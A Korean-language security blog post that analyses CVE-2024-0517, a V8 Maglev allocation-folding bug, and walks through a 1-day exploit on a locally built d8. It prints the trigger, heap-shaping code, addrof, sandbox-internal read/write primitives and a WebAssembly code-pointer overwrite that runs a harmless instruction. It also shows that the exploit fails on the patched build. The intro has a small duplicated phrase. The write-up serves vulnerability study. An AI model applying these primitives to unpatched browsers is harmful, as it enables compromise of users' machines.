Sep 15, 2026BY rlozll
1-dayexploitbrowserv8chromepublic
CVE 2024 0517 V8 Maglev allocation folding bug exploit
CVE-2024-0517의 수정 내용만 보면
ClearCurrentRawAllocation() 호출 하나를 추가한 것이 전부다. 그런데 한 줄이 빠진 결과를 실제 exploit primitive로 바꾸려면 Maglev의 tiering, young generation GC, allocation folding, pointer tiering, young generation GC, allocation folding, pointer compresssion, array elements layout, WebAssembly instance까지 한꺼번에 따라가야 한다.해당 글에서는 취약한 v8 버전을 특정해 d8을 직접 빌드하고, 왜 처음 선택한 커밋에서는 crash만 났는지 확인한 뒤, object/double array overlap에서 addrof와 v8 sandbox 내부 arbitrary read/write를 만들고 마지막에는 무해한 native instruction까지 실행한 과정을 담아보도록 하겠다.
먼저 실습 대상은 로컬에서 빌드한 독립 실행형 v8 쉘인 d8이다. 최종 payload도 쉘을 띄우는 코드가 아니라
mov eax, 0x1337; ret뿐이다. 따라서 해당 글에서는 v8 내부의 native program counter control까지만 다뤄보도록 하겠다. (Chrome renderer snadbox escape나 browser process 장악을 뜻하지는 않는다.)1. 결과 확인
내 환경에서 확인한 exploit chain은 다음과 같다.
- Maglev의 잘못된 allocation folding으로 V8 heap oob write 발생
- object elements와 double array metadata/backing store 중첩
- compressed pointer를 유출하는 임시
addrof구성 - double array length를
0x10000으로 손상시켜 인접 객체 접근 - GC 뒤에도 유지되는 V8 sandbox 내부 arbitrary read/write 구성
- WebAssembly instance의 code pointer를 바꿔
mov eax, 0x1337; ret실행 - upstream 수정 한 줄을 적용한 바이너리에서는 최초 array overlap 단계가 실패하는 것을 확인
2. V8과 Maglev
Chrome을 하나의 거대한 프로그램으로 생각하면 V8 exploit의 범위를 혼동하기 쉽다. Chrome은 browser process, renderer process, network service 등 여러 프로세스로 나뉜다. 일반적인 웹 페이지의 HTML과 DOM은 renderer 안의 Blink가 처리하고, JavaScript 실행은 Blink에 내장된 V8이 담당한다.
V8 안에서도 JavaScript가 처음부터 최고 수준의 최적화 코드로 실행되지는 않는다. 대략 다음과 같은 tier를 거친다.
- Ignition: JavaScript를 bytecode로 실행하는 인터프리터
- Sparkplug: bytecode를 빠르게 machine code로 바꾸는 baseline compiler
- Maglev: 컴파일 비용과 실행 속도의 중간 지점을 노린 mid-tier optimizing compiler
- TurboFan: 더 많은 분석과 최적화를 수행하는 top-tier compilter
Maglev는 Chrome 117부터 도입됐다. Sparkplug보다 좋은 코드를 만들면서 TurboFan보다 훨씬 빨리 컴파일하는 것이 목적이다. 내부적으로는 CFG 기반의 SSA IR을 사용하며, 실행 중 수집한 type과 object shape feedback을 바탕으로 빠르게 특수화된 코드를 만든다. CVE-2024-0517은 바로 이 Maglev graph builder의 객체 할당 최적화에서 발생한다.
d8은 V8 자체를 분석하기에는 편하지만 Blink도, Chrome IPC도, browser sandbox도 없다. 그러므로 d8에서 native instruction을 실행했다고 해서 곧바로 Chrome sandbox escape인 건 아니다.
3. CVE-2024-0517
Google은 2024년 1월 16일 안정 채널 업데이트에서 CVE-2024-0517을 V8의 high severity oob write로 공개했다.
취약 경로는 derived constructor의 implicit receiver를 Maglev가 빠르게 생성하는 부분이다. JavaScript 쪽에서는 다음과 같은 형태가 해당 경로를 만든다.
class ClassParent {}
class ClassBug extends ClassParent {
constructor() {
const receiver = new new.target();
super();
const a = [1.1];
}
}
Reflect.construct(ClassBug, [], ClassParent);
이를 V8 내부 흐름으로 옮기면 다음과 같다.
Reflect.construct(ClassBug, [], ClassParent)
-> FindNonDefaultConstructorOrConstruct bytecode
-> MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct
-> BuildAllocateFastObject
여기서 핵심 개념이 allocation folding이다. young generation에 작은 객체가 연속으로 만들어질 때 매번 별도 할당을 수행하는 대신, Maglev는 더 큰 raw allocation 하나를 잡고 그 안에서 뒤쪽 객체들을 고정 offset으로 배치할 수 있다. 단순화하면 다음과 같다.
base = AllocateRaw(total_size)
object_A = base + 0x00
object_B = base + 0x30 // FoldedAllocation
object_C = base + 0x58 // FoldedAllocation
이 최적화 자체는 문제가 아니지만, 문제는
base와 offset 관계가 유효한 동안에만 사용해야 한다는 점이다. 여기서 current_raw_allocation_은 런타임 heap을 직접 가리키는 댕글링 포인터라기보다, Maglev graph builder가 다음 할당도 현재 raw allocation에 집어 넣을 수 있다고 기록해 두는 compiler bookkeeping이다. 중간에 다른 할당이나 GC가 끼면 그 가정은 더 이상 유효하지 않으므로 상태를 끊어야 한다.취약한 V8 12.0.267.15의
maglev-graph-builder.cc에는 receiver를 빠르게 만든 뒤 현재 raw allocation 상태를 끊는 코드가 없었다.object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
// current_raw_allocation_이 그대로 남는다.
그 뒤 GC가 발생해 heap 배치가 바뀌었는데도 다음 array allocation이 이전 allocation에 종속된
FoldedAllocation으로 표현될 수 있다. 그러면 array를 초기화하는 store가 더 이상 성립하지 않는 base와 offset 관계를 기준으로 실행되고, 결과적으로 다른 heap 영역을 덮는다.upstream 수정은 생각보다 짧다.
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
+ClearCurrentRawAllocation();
패치 커밋은
78dd4b31847ab1f5b06ef3d8742a9f3835fb6919다. 이 한 줄은 여기서 만든 receiver 이후에는 기존 allocation folding 관계를 이어 쓰지 말라는 뜻이다. 패치가 짧다고 원인이 단순한 것은 아닌데, 컴파일러가 기억하는 allocation state와 GC 이후 실제 heap state가 어긋났다는 점이 이 버그의 본질이다.4. 실습 환경과 버전 선택
실습은 다음 환경에서 진행했다.
OS Ubuntu 22.04.5 LTS (WSL2)
Kernel 6.6.87.2-microsoft-standard-WSL2
Arch x86_64
CPU 22 logical CPUs
RAM 15 GiB
Swap 4 GiB
Workdir /home/rlozll/v8_1-day
최종적으로 사용한 V8 버전은 다음 버전이다.
commit e73f620c2ef1230ddaa61551706225821a87c3b9
version 12.0.267.15
date 2024-01-09T05:47:25-08:00
5. 빌드
V8은 일반적인 Git 저장소처럼 소스만 clone하고 끝나는 프로젝트가 아니다. 빌드 도구와 dependency를 맞추기 위해 Chromium의
depot_tools와 gclient를 사용한다.5.1 depot_tools
cd /home/rlozll/v8_1-day
git clone --depth 1 \
https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="/home/rlozll/v8_1-day/depot_tools:$PATH"
export DEPOT_TOOLS_UPDATE=0
export GCLIENT_SUPPRESS_GIT_VERSION_WARNING=1
DEPOT_TOOLS_UPDATE=0은 실습 도중 depot_tools가 자동 갱신돼 환경이 달라지는 것을 막기 위해 사용했다.이미 V8 gclient solution이 만들어진 상태에서 취약 커밋을 가져오고 dependency를 동기화했다.
cd /home/rlozll/v8_1-day/v8
git fetch --depth=1 origin e73f620c2ef1230ddaa61551706225821a87c3b9
git checkout --detach e73f620c2ef1230ddaa61551706225821a87c3b9
cd ..
depot_tools/gclient sync -D --no-history
동기화가 끝난 후 커밋과 버전을 바로 확인했다.
git -C v8 rev-parse HEAD
sed -n '8,24p' v8/include/v8-version.h
5.2 GN build arguments
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true
v8_enable_maglev = true
v8_enable_webassembly = true
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
v8_enable_slow_dchecks = false
dcheck_always_on = false
symbol_level = 0
use_goma = false
gn 파일의 내용이다. 이 구성으로 sandbox 내부 주소 체계를 유지한 상태에서 primitive를 검증했다. 마지막 PC-control 단계에서 WebAssembly를 사용하므로
v8_enable_webassembly도 켰다.5.3 d8 빌드
cd /home/rlozll/v8_1-day
bash exploit/build.sh
스크립트가 하는 일을 풀어 쓰면 다음과 같다.
cd /home/rlozll/v8_1-day/v8
mkdir -p out/exploit
cp ../exploit/args.gn out/exploit/args.gn
../depot_tools/gn gen out/exploit
ninja -C out/exploit -j 22 d8
빌드가 끝난 뒤에는 바이너리가 실행되는지와 버전이 맞는지 확인했다.
v8/out/exploit/d8 -e 'print(version())'
# 12.0.267.15
내 빌드 결과의
d8은 x86-64 PIE ELF였고 strip되지 않은 상태였다. 최종 크기는 약 45 MiB였다.6. trigger를 exploit 가능한 heap corruption으로 바꾸기
최소 트리거는 취약 경로가 존재한다는 사실을 보여 주지만, 원하는 객체를 원하는 방식으로 손상시키지는 않는다. exploit에서 더 어려운 부분은 oob write 자체보다 GC가 일어나는 순산과 oob store가 떨어지는 위치를 최대한 예측 가능하게 만드는 것이었다.
실제 exploit.js의 핵심 constructor는 아래 형태다.
class ClassParent {}
class ClassBug extends ClassParent {
constructor() {
const v24 = new new.target();
let x = [
empty_object, empty_object, empty_object, empty_object,
empty_object, empty_object, empty_object, empty_object
];
super();
let a = [1.1];
this.x = x;
this.a = a;
JSON.stringify(empty_array);
}
[1] = dogc();
}
x는 object를 담는 PACKED_ELEMENTS array이고, a는 raw double을 담는 PACKED_DOUBLE_ELEMENTS array다. 둘은 같은 메모리를 전혀 다르게 해석한다. object array의 elements에는 tagged/compressed object 값이 들어가지만 double array의 elements에는 64-bit 부동소수점 값이 그대로 들어간다.dogc()는 큰 ArrayBuffer를 반복해서 할당한다.function dogc() {
if (dogc_flag) {
for (let i = 0; i < 900; i++) {
new ArrayBuffer(0x10000);
}
}
}
warm-up 과정에서는 GC를 여러 차례 일으켜 기존 객체를 old space로 보내고 nursery를 정리한다. 그 뒤 constructor를 650회 호출하되 646번째 부근에서만 의도적으로 GC를 끼워 넣는다. 호출 횟수가 너무 적으면 Maglev가 올라오지 않고, 너무 많으면 TurboFan으로 tier-up해 취약한 Maglev 경로를 지나지 않을 수 있다. 실행 옵션에
--maglev --no-turbofan을 준 이유도 이 변수를 줄이기 위해서다.취약점이 기대한 위치에서 발동하면
x의 elements backing store가 a의 metadata와 backing store를 덮는 형태로 겹친다. 이 순간부터 같은 8바이트를 object와 double 두 관점에서 읽고 쓸 수 있다.7. array overlap에서 primitive 만들기
7.1 임시 addrof
겹쳐진 object array에 객체를 넣고 같은 메모리를 double array에서 읽으면 객체의 compressed heap pointer를 숫자로 꺼낼 수 있다.
function addrof_tmp(obj) {
x[0] = obj;
f64[0] = a[0];
return u32[0];
}
여기서
ArrayBuffer 하나를 Float64Array와 Uint32Array로 동시에 보고 있다. a[0]으로 얻은 64-bit double bit pattern을 u32[0]으로 읽으면 하위 32-bit compressed pointer를 얻는다. 일반적인 64-bit process address를 그대로 유출하는 것이 아니라 V8 cage 기준의 compressed address라는 점에 주의해야 한다.7.2 length corruption
overlap 덕분에
x의 특정 원소는 a.length 필드와 겹친다.x[5] = 0x10000;
if (a.length !== 0x10000) {
throw new Error("Initial Corruption Failed");
}
정상적으로 길이가 1이던
a가 이제 65536개 원소를 가진 것처럼 보인다. 실제 backing store가 커진 것은 아니다. bounds check에 사용되는 metadata만 바뀐 것이므로, 늘어난 index로 주변 heap 객체까지 읽고 쓸 수 있다.7.3 인접 array의 elements pointer 조작
다음 목표는
rwarr = [1.1, 2.2, 2.2]의 주소를 구하고, 길이가 늘어난 a에서 rwarr metadata까지의 index를 계산하는 것이다.let addr_a = addrof_tmp(a);
let addr_rwarr = addrof_tmp(rwarr);
if (addr_rwarr < addr_a) {
throw new Error("Unfavorable heap order; retry the process");
}
let offset = (addr_rwarr - addr_a) + 0xc;
if ((offset % 8) !== 0) offset += 4;
let marker_idx = offset / 8;
7.4 GC-resistant primitive
초기 write를 오래 쓰지 않고
changer, leaker, holder 세 객체의 연결을 재배선하는 데 사용한다.let changer = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
let leaker = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
let holder = {p1: 0x1234, p2: 0x1234, p3: 0x1234};
핵심 아이디어는
changer의 원소를 통해 leaker가 참조하는 elements 주소를 잠시 바꾸는 것이다. 읽을 주소를 가리키게 한 뒤 leaker[0]을 읽으면 arbitrary read가 되고, 반대로 값을 대입하면 write가 된다. 작업이 끝나면 원래 elements 값을 복구한다.function v8h_read64(addr) {
const saved = changer[0];
u32[0] = Number(addr) - 8;
u32[1] = 0xc;
changer[0] = f64[0];
const value = leaker[0];
changer[0] = saved;
return f2i(value);
}
holder.p2에 임의의 object를 저장하고 leaker를 통해 같은 slot을 double로 읽으면 안정적인 addrof도 만들 수 있다. 초기 corruption에 사용한 x, a, rwarr의 length는 0으로 줄여 더 이상 실수로 접근하지 않게 했다.이 시점에서 얻은 것은 process 전체를 대상으로 한 unrestricted read/write가 아니다. 명명한 함수가
v8h_read64, v8h_write인 이유도 V8 heap/sandbox 안의 primitive라는 범위를 드러내기 위해서다.8. WebAssembly를 이용한 native PC control
마지막 단계에서는 두 개의 WebAssembly instance를 사용했다. 당시 V8 빌드의
WasmInstanceObject에서 executable code와 이어지는 값을 primitive로 읽고 쓸 수 있기 때문이다.첫 번째 Wasm module은 JIT가 생성한 executable code 안에 아래 x86-64 byte sequence가 나타나도록 double constant를 포함한다.
b8 37 13 00 00 mov eax, 0x1337
c3 ret
90 90 nop; nop
두 번째 Wasm instance를 만든 다음, instance 내부에서 참조되는 code pointer를 첫 번째 instance 안의 이 byte sequence 주소로 바꾼다. 그리고 두 번째 exported function을 호출한다. 즉 새 payload를 별도의 RWX page에 복사한 방식이 아니라, 이미 생성된 executable code 안의 controlled immediate bytes를 재사용해 제어 흐름을 돌린 것이다.
wasm_write(wasmInstance_addr + 0x48n, harmless_code_addr);
func_main();
console.log("[+] NATIVE_PC_CONTROL_OK");
호출 시 instruction pointer가
mov eax, 0x1337; ret으로 이동하고, ret 이후 정상적으로 JavaScript로 돌아와 marker를 출력한다. 이것으로 native code 흐름을 바꿀 수 있다는 사실은 확인했지만 셸 실행, 파일 접근, credential 접근, persistence는 하지 않았다.9. 실행과 현재 재검증 결과
v8/out/exploit/d8 \
--allow-natives-syntax \
--maglev \
--no-turbofan \
exploit/exploit.js
python3 exploit/exploit.py --retries 3 --timeout 120
10. 패치를 적용한 negative control
취약 바이너리를
d8-vulnerable로 보존한 뒤 maglev-graph-builder.cc에 upstream의 한 줄을 적용하고 incremental build를 수행했다.cp v8/out/exploit/d8 v8/out/exploit/d8-vulnerable
# source에 ClearCurrentRawAllocation() 한 줄 적용 후
ninja -C v8/out/exploit -j 22 d8
cp v8/out/exploit/d8 v8/out/exploit/d8-fixed
수정 바이너리에 완전히 같은 exploit을 실행했다.
python3 exploit/exploit.py \
--d8 v8/out/exploit/d8-fixed \
--retries 1 \
--timeout 120
결과는 다음과 같다.
Error: Initial Corruption Failed
at exploit/exploit.js:78
[-] exploit did not reach the native marker
x[5] = 0x10000이 더 이상 a.length를 바꾸지 못했다. 즉 exploit 뒤쪽에서 우연히 실패한 것이 아니라, 처음 기대했던 object/double array overlap 자체가 사라졌다.11. 마무리
CVE-2024-0517에서 가장 인상적이었던 부분은 패치의 크기와 exploit의 크기가 전혀 비례하지 않는다는 점이었다.
ClearCurrentRawAllocation() 한 줄이 빠졌지만, 그 결과를 제어하려면 JIT tier를 맞추고 GC를 예약하고 두 종류의 array를 겹친 뒤 임시 primitive를 GC-resistant primitive로 갈아타야 했다.반대로 root cause를 이해하고 나니 긴 exploit 코드도 몇 개의 역할로 나눠 읽을 수 있었다. 앞부분은 Maglev와 GC를 이용해 overlap을 만드는 코드, 중간은 overlap을 주소 유출과 read/write로 바꾸는 코드, 뒷부분은 그 primitive가 실제 control flow에 영향을 줄 수 있음을 보여 주는 코드다.
참고 자료
- Chrome Stable Channel Update, 2024-01-16 — CVE 분류, 보고자, 보상 및 배포 버전
- V8 upstream fix: 78dd4b31847a — 실제 한 줄 패치와 parent commit
- V8 공식 Maglev 소개 — V8 tiering과 Maglev 설계 배경
- V8 12.0.267.15 commit — 이 실습에서 고정한 소스
- Exodus Intelligence의 CVE-2024-0517 분석 — root cause와 heap shaping 분석
- WHS-SEGFAULT 공개 exploit — 로컬 exploit primitive 구성의 기반